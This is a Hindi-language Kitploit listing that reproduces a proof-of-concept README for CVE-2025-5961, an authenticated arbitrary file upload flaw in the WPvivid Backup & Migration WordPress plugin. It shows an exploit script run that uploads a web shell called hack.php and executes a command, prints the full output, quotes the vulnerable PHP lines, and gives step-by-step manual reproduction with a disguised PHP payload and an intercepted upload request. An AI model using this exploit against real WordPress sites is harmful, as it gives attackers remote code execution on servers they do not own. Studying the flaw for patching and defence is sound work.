Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-5961 — प्रवासन, बैकअप, स्टेजिंग – WPvivid Backup & Migration <= 0.9.116 - प्रमाणित (व्यवस्थापक+) मनमानी फ़ाइल अपलोड | Kitploit
उपकरण/GitHubGitHub/d0n601/cve-2025-5961
पेलोड जनरेशनभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubd0n601/cve-2025-5961

CVE-2025-5961

प्रवासन, बैकअप, स्टेजिंग – WPvivid Backup & Migration <= 0.9.116 - प्रमाणित (व्यवस्थापक+) मनमानी फ़ाइल अपलोड

रिपॉजिटरी देखें
21 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-5961

माइग्रेशन, बैकअप, स्टेजिंग – WPvivid Backup & Migration <= 0.9.116 - प्रमाणित (व्यवस्थापक+) मनमाना फ़ाइल अपलोड

wpvivid-backuprestore प्लगइन wpvivid_upload_import_files कार्रवाई के फ़ाइल प्रकारों को सैनिटाइज़ नहीं करता है, जिससे व्यवस्थापक या उच्च स्तर के उपयोगकर्ता मनमानी फ़ाइलें अपलोड कर सकते हैं और संभावित रूप से सर्वर पर कोड निष्पादन प्राप्त कर सकते हैं। नोट: अपलोड की गई फ़ाइलें केवल NGINX वेब सर्वर पर चलने वाले WordPress इंस्टेंस पर ही सुलभ होती हैं, क्योंकि लक्ष्य फ़ाइल अपलोड फ़ोल्डर में मौजूद .htaccess Apache सर्वर पर पहुँच को रोकता है।

TL;DR एक्सप्लॉइट्स

  • एक POC CVE-2025-5961.py प्रदान किया गया है जो एक व्यवस्थापक द्वारा hack.php नामक वेब शेल अपलोड करने का प्रदर्शन करता है।
root@kitploit:~
 python3 ./CVE-2025-5961.py https://lab1.hacker admin password
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
ajax_nonce: e4d4bec9f0
Uploading web shell: hack.php
{"result":"success"}

Web Shell At: https://lab1.hacker/wp-content/wpvividbackups/ImportandExport/hack.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 78309sec preferred_lft 78309sec
    inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86105sec preferred_lft 14105sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:63:2d:a4:f2 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

विवरण

wpvivid_upload_import_files कार्रवाई फ़ाइल प्रकार सत्यापन को लागू किए बिना /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-export-import.php की पंक्ति 2210 पर upload_files फ़ंक्शन को कॉल करती है।

पंक्ति 2235 पर $file_name इस प्रकार सेट किया गया है:

root@kitploit:~
$file_name=basename(sanitize_text_field($_POST['name']));

$file_name वेरिएबल का उपयोग तब पंक्ति 2246 पर फ़ाइल को फ़ाइल सिस्टम में लिखने के लिए किया जाता है।

root@kitploit:~
$file_handle = fopen($path.$file_name, 'wb');

मैनुअल पुनरुत्पादन

  1. एक दुर्भावनापूर्ण फ़ाइल बनाएँ ताकि फ्रंट-एंड सत्यापन पास हो सके क्योंकि हम इसे मैन्युअल रूप से कर रहे हैं। टर्मिनल में यह दर्ज करें:
root@kitploit:~
echo "<?php phpinfo(); ?>" >>  wpvivid-0000000000000_1969-04-20-00-00_export_post.zip
  1. एडमिन पैनल में लॉगिन करें और WPvivid Backup टैब पर जाएँ।
  2. साइड मेनू से Export & Import विकल्प चुनें, और फिर Import टैब चुनें।
  3. Burp Suite या समान टूल प्रारंभ करें और ट्रैफ़िक को इंटरसेप्ट करना शुरू करें।
  4. Upload and Import बटन पर क्लिक करें, और चरण शून्य में बनाई गई wpvivid-0000000000000_1969-04-20-00-00_export_post.zip फ़ाइल चुनें। test1
  5. पहला POST अनुरोध कुछ इस प्रकार होगा, इस अनुरोध को आगे भेजें:
root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/2
...
...
...
action=wpvivid_check_import_file&file_name=wpvivid-0000000000000_1969-04-20-00-00_export_post.zip&nonce=5c83c6b97b
  1. फ़ॉर्म डेटा वाले अगले अनुरोध में फ़ाइल का नाम poc.php सेट करने के लिए संशोधित करें: test2
  2. प्रूफ ऑफ कॉन्सेप्ट को निष्पादित करने के लिए https://THEWEBSITE.com/wp-content/wpvividbackups/ImportandExport/poc.php पर जाएँ। test3
टूल डाउनलोड करें